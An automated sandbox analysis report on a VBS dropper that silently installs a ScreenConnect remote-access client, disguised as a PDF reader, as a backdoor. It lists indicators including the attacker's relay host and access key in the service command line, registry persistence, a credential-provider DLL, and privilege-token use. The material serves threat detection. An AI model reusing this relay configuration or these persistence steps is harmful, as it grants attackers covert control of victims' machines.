16d219bf805b87558798ebff2246de247a010de7baa7fe3058daeaac1ffc3fa7

Analysis

max time kernel
149s
max time network
131s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
01/11/2025, 11:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
NFL-098807723577326YUI-PT12.Vbs.vbs
Size 1KB
Sample251101-nkngjsds8b
SHA256 16d219bf805b87558798ebff2246de247a010de7baa7fe3058daeaac1ffc3fa7
MD5 70636e3162809520738cd64eb4820e15
SHA1 c5930708bc3999e80e52d62d80ede66a4d0d07e8
SHA512 40a7557b17f61c2dbbb106cbbe3eb14f77d9704a8f1b6eb3e29c6beea50806657821b843ea58d65dbe8619ccd48c058025511a4867697d8bc70b495767724adc
MD5 SHA1 SHA512

Score

8^/10

backdoor discovery persistence privilege_escalation rat

Malware Config

Signatures

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (6d1ed138c3010835)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (6d1ed138c3010835)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-wipwm8-relay.screenconnect.com&p=443&s=b4a36123-a530-4c36-8b7f-4092007935d2&k=BgIAAACkAABSU0ExAAgAAAEAAQAR3fEQHLYqDzwwLt60MZkKQyDT7mkcZnIuoDhusJkkhgLxGu9E2rfQzG86D6KhIoVUd%2fsM%2bwEu5ZIkEq5r15aS2MMA9v1zT4IfELH1HqoNHy3pZezKLc6AaF12eRwhaTZVuab4oV%2fc2YSG1g9yMBd%2f84LMvreVtGFw%2fRSfMU37I%2fuFoDjVMSPnOg2TyCuwLzJbwXBXOW9eTfl%2bhxzhGN1m1DRGIqSIKuiEWgSe42E9EZJnHQnImw1M5XAHikTEh01cqoiJTFBa9DVZ%2f7oVaD0ahopzN081wfgaVCrn2McBWbDdFQxgXGM2w%2b5%2blbuWaGlCTGksp9rr%2b2V7n%2f%2fS5Qu4&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAACE%2fQnXHBXkyOHIdhN6ucRQAAAAACAAAAAAAQZgAAAAEAACAAAACntq2j8n3tQ3qcNC51hDc5MGCBQFWygMfQfzdig1kEugAAAAAOgAAAAAIAACAAAADctoUjkpCOD5zrx2DbUKHbX7BesuC3TjlRgkv4KCqWGaAEAAB5GQa75Rq6uZ%2bGCLZDVCSyQD3cfiTMJ%2fLLeWsu31PyDb54jRuk6xesOk5g7%2bjuMQT5KA7GxnbrKd5DPigeEU5NYNQI9l%2b5XjxCc8LC%2b%2ff06ac6QmMBfXbuYo2xRxDxJuiQSmQ3vWgtRxJT00OcncqZTbW8J2akvaUWs3qnVmkrj49oZDAl5dhpQmLhfv2bqBn5E5dTv1%2bePaqiJC2RONlSxYNe2zxJ%2bzoKxbkqQe1KLTfuVOCVH4z1S0nE0k5cjSnfiLa%2bqOG964F%2fgwToi9Pw6nLn7LyvfIeSspHOcw3EDAPeP7CUruy8YS2280n9OGoZh%2byo5rMiQFukMWwygWJ2g%2fCTZ80D9PZpWmFtV9qg%2bm8qhX%2bbuhHZOtFI0N%2bfpSflxya6n9PsNxj8tNv5rrnOD9FGAv38nF2%2fB8AqIbqAcf%2bNeH%2bRAubInolmcf61stVsc7vemRetKcQZe3xJd%2fkYeb0ViUS%2fruPt3VZqc1z%2b3%2b%2fan4ngbY78nY8WC2tteITw1sPetcPwO30lJw8N6mFCQsLj4AjDob6RxA6OiOt5YIm9%2bbrnQPRHmBFy3xGWiSkwSpt3PISNRDscalz5vyDAcjA9nHC0%2bcrP019VsaNIjVXFPwwRMwwpOVcTmjTZ41BVWk9O%2b81OACxb6r9aKwF5FBJG0vZ3KBZd2bkXxtk9ijWXwdkMh2WKEHp%2bfDplTBFlaBn5KWby5ueiuhqmxdQqyl6KElDBLcmBHo4ljEOIxZmfP5WnupOYUA1bk6P%2fxHotBac9RYq3jl66O5Yngtbre1GKzjL6h%2fRrXqFvB%2f8eQ2sAKJ50JrPJaJhvvsO7qAQ4A699%2f6n%2fYRbMkYoIsbTEcM8FOJ%2f%2fslQafpopCh%2bmFgCfXn6%2fTNtI4W2iDaaf9KukNFX4N2jh%2faRqfO%2bNYYChkceb9HTTlETHEE2zilqjUa7l7odSbkofgtpzQeCJBb333xYk92zGbt6oHq2tV5Y6398TIZJ%2ffjTOKs8vMejESUf01gcFhMEFmgilPIybLT0JLDYhe5wsyDVynP2NwDtql02eJjJ9LEBaqg7r6tj9cAN2jBeWJrMLJ1KG7dNU59B8MhmnpbOb4H201YZq9nZhrcGm6hnPh7F7OoOG46vYJaboicg0zuen6TgMgCDC1MkJCMIKzYwrwJkpEbEPZ%2fbLljywzNSvODhjYjtKBOIRw6Wl0w2zwasgGqDgof89AzVK%2fa5pwZbHnezHHLwB6PtJW4l%2fhKzg2q1dNqlbsw4hqCbxqxc3%2bk8FBDPHxL%2bAHbZPnm6zwuvOIG7aHvGuS8Z5KokuZXDrUku8WardwWyRCAt3sGz%2fql%2fg0mDNFlaMwZ2uip2qDAKZXl9ymBsbpbgNCq%2bNEUPgYfqoFBiCBfHizMHDoY0G9nH7NkCsfGC%2foH13kk5nfDLxn761%2fXhvQBQBQt09yFJ%2bhogOR2X8kiNo273pn5aGt%2feTBvknTIjZVMFYBa6qPJXfNzB%2b4OyxVLFtiQDehlCsleABaZp2cYyfuL3YA4mSo5KZQcq7f6lnaNWVL3OQV9tK6afBXVRMGChLK5ww4Db2pkaowYYnPJTis0AAAABLyA3kvyrduLJzu6HTmKC3NDmZl98qUxiJ9fw%2ffb6slX2kvL6Vy%2fVvW7NSyiUwE%2fqkfn9q7JEjFqLQmsJ88IsS\""	ScreenConnect.ClientService.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 3 IoCs

pid	Process
3944	ScreenConnect.ClientService.exe
5552	ScreenConnect.WindowsClient.exe
4240	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
2268	MsiExec.exe
4976	rundll32.exe
4976	rundll32.exe
4976	rundll32.exe
4976	rundll32.exe
4976	rundll32.exe
4976	rundll32.exe
4976	rundll32.exe
4976	rundll32.exe
4976	rundll32.exe
2268	MsiExec.exe
3576	MsiExec.exe
3944	ScreenConnect.ClientService.exe
3944	ScreenConnect.ClientService.exe
3944	ScreenConnect.ClientService.exe
3944	ScreenConnect.ClientService.exe
3944	ScreenConnect.ClientService.exe
3944	ScreenConnect.ClientService.exe
3944	ScreenConnect.ClientService.exe
3944	ScreenConnect.ClientService.exe
3944	ScreenConnect.ClientService.exe
3944	ScreenConnect.ClientService.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	5444	msiexec.exe
4	5444	msiexec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800360064003100650064003100330038006300330030003100300038003300350029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6d1ed138c3010835)\nt4zcsvt.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6d1ed138c3010835)\nt4zcsvt.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6d1ed138c3010835)\ScreenConnect.WindowsFileManager.exe	msiexec.exe

Drops file in Windows directory 26 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e57662c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4F4AF0ACA3EBA1D2.TMP	msiexec.exe
File created	C:\Windows\Installer\wix{1A37A0C1-46AF-C6F6-B3FD-5940A93BE213}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\SystemTemp\~DFF984752A6432971E.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e57662c.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6968.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6968.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6968.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6968.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6968.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\Installer\SourceHash{1A37A0C1-46AF-C6F6-B3FD-5940A93BE213}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6968.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6968.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6968.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6968.tmp-\ScreenConnect.Core.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DF85459115D8BC50AF.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6D13.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6DA1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{1A37A0C1-46AF-C6F6-B3FD-5940A93BE213}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6D23.tmp	msiexec.exe
File created	C:\Windows\Installer\e576630.msi	msiexec.exe
File created	C:\Windows\Installer\{1A37A0C1-46AF-C6F6-B3FD-5940A93BE213}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF65A154D22B5BE2A4.TMP	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe

Modifies registry class 37 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\1C0A73A1FA646F6C3BDF95049AB32E31	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\ProductName = "ScreenConnect Client (6d1ed138c3010835)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\Version = "419823625"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-6d1ed138c3010835	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-6d1ed138c3010835\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-F37A-E5E3406DE2FA}\ = "ScreenConnect Client (6d1ed138c3010835) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\ProductIcon = "C:\\Windows\\Installer\\{1A37A0C1-46AF-C6F6-B3FD-5940A93BE213}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\SourceList\PackageName = "PDF-READER.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-6d1ed138c3010835\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-6d1ed138c3010835\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-F37A-E5E3406DE2FA}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\PackageCode = "1C0A73A1FA646F6C3BDF95049AB32E31"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\Assignment = "1"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-6d1ed138c3010835\shell	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\1C0A73A1FA646F6C3BDF95049AB32E31\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\010128FD56BE541DD6E11D833C108053	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\SourceList\Net	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-6d1ed138c3010835\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-6d1ed138c3010835\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-6d1ed138c3010835\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (6d1ed138c3010835)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-F37A-E5E3406DE2FA}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1C0A73A1FA646F6C3BDF95049AB32E31\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-F37A-E5E3406DE2FA}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-F37A-E5E3406DE2FA}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (6d1ed138c3010835)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\010128FD56BE541DD6E11D833C108053\1C0A73A1FA646F6C3BDF95049AB32E31	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-6d1ed138c3010835	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
5444	msiexec.exe
5444	msiexec.exe
3944	ScreenConnect.ClientService.exe
3944	ScreenConnect.ClientService.exe
3944	ScreenConnect.ClientService.exe
3944	ScreenConnect.ClientService.exe
3944	ScreenConnect.ClientService.exe
3944	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2716	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2716	msiexec.exe
Token: SeSecurityPrivilege	5444	msiexec.exe
Token: SeCreateTokenPrivilege	2716	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2716	msiexec.exe
Token: SeLockMemoryPrivilege	2716	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2716	msiexec.exe
Token: SeMachineAccountPrivilege	2716	msiexec.exe
Token: SeTcbPrivilege	2716	msiexec.exe
Token: SeSecurityPrivilege	2716	msiexec.exe
Token: SeTakeOwnershipPrivilege	2716	msiexec.exe
Token: SeLoadDriverPrivilege	2716	msiexec.exe
Token: SeSystemProfilePrivilege	2716	msiexec.exe
Token: SeSystemtimePrivilege	2716	msiexec.exe
Token: SeProfSingleProcessPrivilege	2716	msiexec.exe
Token: SeIncBasePriorityPrivilege	2716	msiexec.exe
Token: SeCreatePagefilePrivilege	2716	msiexec.exe
Token: SeCreatePermanentPrivilege	2716	msiexec.exe
Token: SeBackupPrivilege	2716	msiexec.exe
Token: SeRestorePrivilege	2716	msiexec.exe
Token: SeShutdownPrivilege	2716	msiexec.exe
Token: SeDebugPrivilege	2716	msiexec.exe
Token: SeAuditPrivilege	2716	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2716	msiexec.exe
Token: SeChangeNotifyPrivilege	2716	msiexec.exe
Token: SeRemoteShutdownPrivilege	2716	msiexec.exe
Token: SeUndockPrivilege	2716	msiexec.exe
Token: SeSyncAgentPrivilege	2716	msiexec.exe
Token: SeEnableDelegationPrivilege	2716	msiexec.exe
Token: SeManageVolumePrivilege	2716	msiexec.exe
Token: SeImpersonatePrivilege	2716	msiexec.exe
Token: SeCreateGlobalPrivilege	2716	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeShutdownPrivilege	3576	MsiExec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe
Token: SeTakeOwnershipPrivilege	5444	msiexec.exe
Token: SeRestorePrivilege	5444	msiexec.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
5552	ScreenConnect.WindowsClient.exe
5552	ScreenConnect.WindowsClient.exe
5552	ScreenConnect.WindowsClient.exe
5552	ScreenConnect.WindowsClient.exe
5552	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 5 IoCs

pid	Process
5552	ScreenConnect.WindowsClient.exe
5552	ScreenConnect.WindowsClient.exe
5552	ScreenConnect.WindowsClient.exe
5552	ScreenConnect.WindowsClient.exe
5552	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 5652 wrote to memory of 5192	5652	WScript.exe	79
PID 5652 wrote to memory of 5192	5652	WScript.exe	79
PID 5192 wrote to memory of 3716	5192	cmd.exe	81
PID 5192 wrote to memory of 3716	5192	cmd.exe	81
PID 5652 wrote to memory of 2716	5652	WScript.exe	82
PID 5652 wrote to memory of 2716	5652	WScript.exe	82
PID 5444 wrote to memory of 2268	5444	msiexec.exe	84
PID 5444 wrote to memory of 2268	5444	msiexec.exe	84
PID 5444 wrote to memory of 2268	5444	msiexec.exe	84
PID 2268 wrote to memory of 4976	2268	MsiExec.exe	85
PID 2268 wrote to memory of 4976	2268	MsiExec.exe	85
PID 2268 wrote to memory of 4976	2268	MsiExec.exe	85
PID 5444 wrote to memory of 3576	5444	msiexec.exe	86
PID 5444 wrote to memory of 3576	5444	msiexec.exe	86
PID 5444 wrote to memory of 3576	5444	msiexec.exe	86
PID 3944 wrote to memory of 5552	3944	ScreenConnect.ClientService.exe	88
PID 3944 wrote to memory of 5552	3944	ScreenConnect.ClientService.exe	88
PID 3944 wrote to memory of 4240	3944	ScreenConnect.ClientService.exe	89
PID 3944 wrote to memory of 4240	3944	ScreenConnect.ClientService.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\NFL-098807723577326YUI-PT12.Vbs.vbs"
1⤵
- Suspicious use of WriteProcessMemory
